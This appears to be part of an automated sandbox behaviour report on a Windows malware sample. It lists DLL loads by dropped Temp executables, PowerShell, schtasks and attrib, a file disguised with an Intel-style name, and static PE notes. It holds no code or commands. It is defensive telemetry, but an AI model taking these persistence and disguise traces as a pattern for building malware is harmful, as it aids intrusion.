Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\ipconfig.exe	Section loaded: dnsapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: file.exe

Static file information: File size 2998784 > 1048576

Source: file.exe

Static PE information: Raw size of diabzkav is bigger than: 0x100000 < 0x2aa600

Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2417823905.00000000011CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb source: powershell.exe, 00000033.00000002.2624749773.0000028B9A129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb4} source: powershell.exe, 0000002A.00000002.2392378573.000001D3C700A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2417823905.00000000011CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 0000002A.00000002.2390904749.000001D3C6E20000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2615680036.0000028B99FA3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbesB. source: powershell.exe, 00000033.00000002.2615680036.0000028B99FA3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 0000002A.00000002.2390904749.000001D3C6E20000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2624749773.0000028B9A0F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdbk source: powershell.exe, 0000002A.00000002.2390904749.000001D3C6E20000.00000004.00000020.00020000.00000000.sdmp
